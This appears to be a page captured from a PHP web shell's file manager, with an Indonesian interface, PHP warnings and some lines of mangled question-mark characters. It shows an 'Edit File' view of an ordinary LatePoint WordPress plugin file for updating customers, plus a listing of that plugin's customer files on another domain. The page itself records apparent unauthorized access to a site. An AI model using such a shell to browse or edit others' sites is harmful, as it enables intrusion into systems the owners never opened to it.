??????????????
??????????????
??????????????
??????????????
Warning : Undefined variable $auth in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
Warning : Trying to access array offset on value of type null in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
??????????????
??????????????
??????????????
??????????????
File Manager
✏️ Edit File: /home/mklsvubc/pyan.co.uk/wp-content/plugins/latepoint/lib/abilities/customers/update-customer.php
⬅ Kembali
<?php
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
class LatePointAbilityUpdateCustomer extends LatePointAbstractCustomerAbility {
protected function configure(): void {
$this->id = 'latepoint/update-customer';
$this->label = __( 'Update customer', 'latepoint' );
$this->description = __( 'Updates one or more fields on an existing customer profile. Only provided fields are changed.', 'latepoint' );
$this->permission = 'customer__edit';
$this->read_only = false;
$this->destructive = false;
$this->idempotent = true;
}
public function get_input_schema(): array {
return [
'type' => 'object',
'properties' => [
'id' => [
'type' => 'integer',
'description' => __( 'Customer ID.', 'latepoint' ),
],
'first_name' => [ 'type' => 'string' ],
'last_name' => [ 'type' => 'string' ],
'email' => [
'type' => 'string',
'format' => 'email',
],
'phone' => [ 'type' => 'string' ],
'notes' => [ 'type' => 'string' ],
],
'required' => [ 'id' ],
];
}
public function get_output_schema(): array {
return $this->customer_output_schema();
}
public function execute( array $args ) {
$customer = new OsCustomerModel( (int) $args['id'] );
if ( $customer->is_new_record() ) {
return new WP_Error( 'not_found', __( 'Customer not found.', 'latepoint' ), [ 'status' => 404 ] );
}
if ( isset( $args['first_name'] ) ) {
$customer->first_name = sanitize_text_field( $args['first_name'] );
}
if ( isset( $args['last_name'] ) ) {
$customer->last_name = sanitize_text_field( $args['last_name'] );
}
if ( isset( $args['email'] ) ) {
$customer->email = sanitize_email( $args['email'] );
}
if ( isset( $args['phone'] ) ) {
$customer->phone = sanitize_text_field( $args['phone'] );
}
if ( isset( $args['notes'] ) ) {
$customer->notes = sanitize_textarea_field( $args['notes'] );
}
if ( ! $customer->save() ) {
return new WP_Error(
'save_failed',
__( 'Failed to update customer.', 'latepoint' ),
WP_DEBUG ? [ 'errors' => $customer->get_error_messages() ] : [ 'status' => 422 ]
);
}
return $this->serialize_customer( new OsCustomerModel( $customer->id ) );
}
}
Nama
Tipe
Ukuran
Diubah
Aksi
🐘 abstract-customer-ability.php
php
1.4 KB
2026-03-10 11:15
🐘 connect-customer-to-wp-user.php
php
2.4 KB
2026-04-24 10:27
🐘 create-customer.php
php
2.2 KB
2026-03-10 11:15
🐘 delete-customer.php
php
1.5 KB
2026-03-10 11:15
🐘 get-customer-bookings.php
php
2.8 KB
2026-03-10 11:15
🐘 get-customer-by-email.php
php
1.2 KB
2026-03-10 11:15
🐘 get-customer-orders.php
php
2.2 KB
2026-03-10 11:15
🐘 get-customer.php
php
1.1 KB
2026-03-10 11:15
🐘 get-total-customers-count.php
php
866 B
2026-03-10 11:15
🐘 list-customers.php
php
2.2 KB
2026-03-10 11:15
🐘 search-customers.php
php
1.6 KB
2026-03-10 11:15
🐘 update-customer.php
php
2.2 KB
2026-03-10 11:15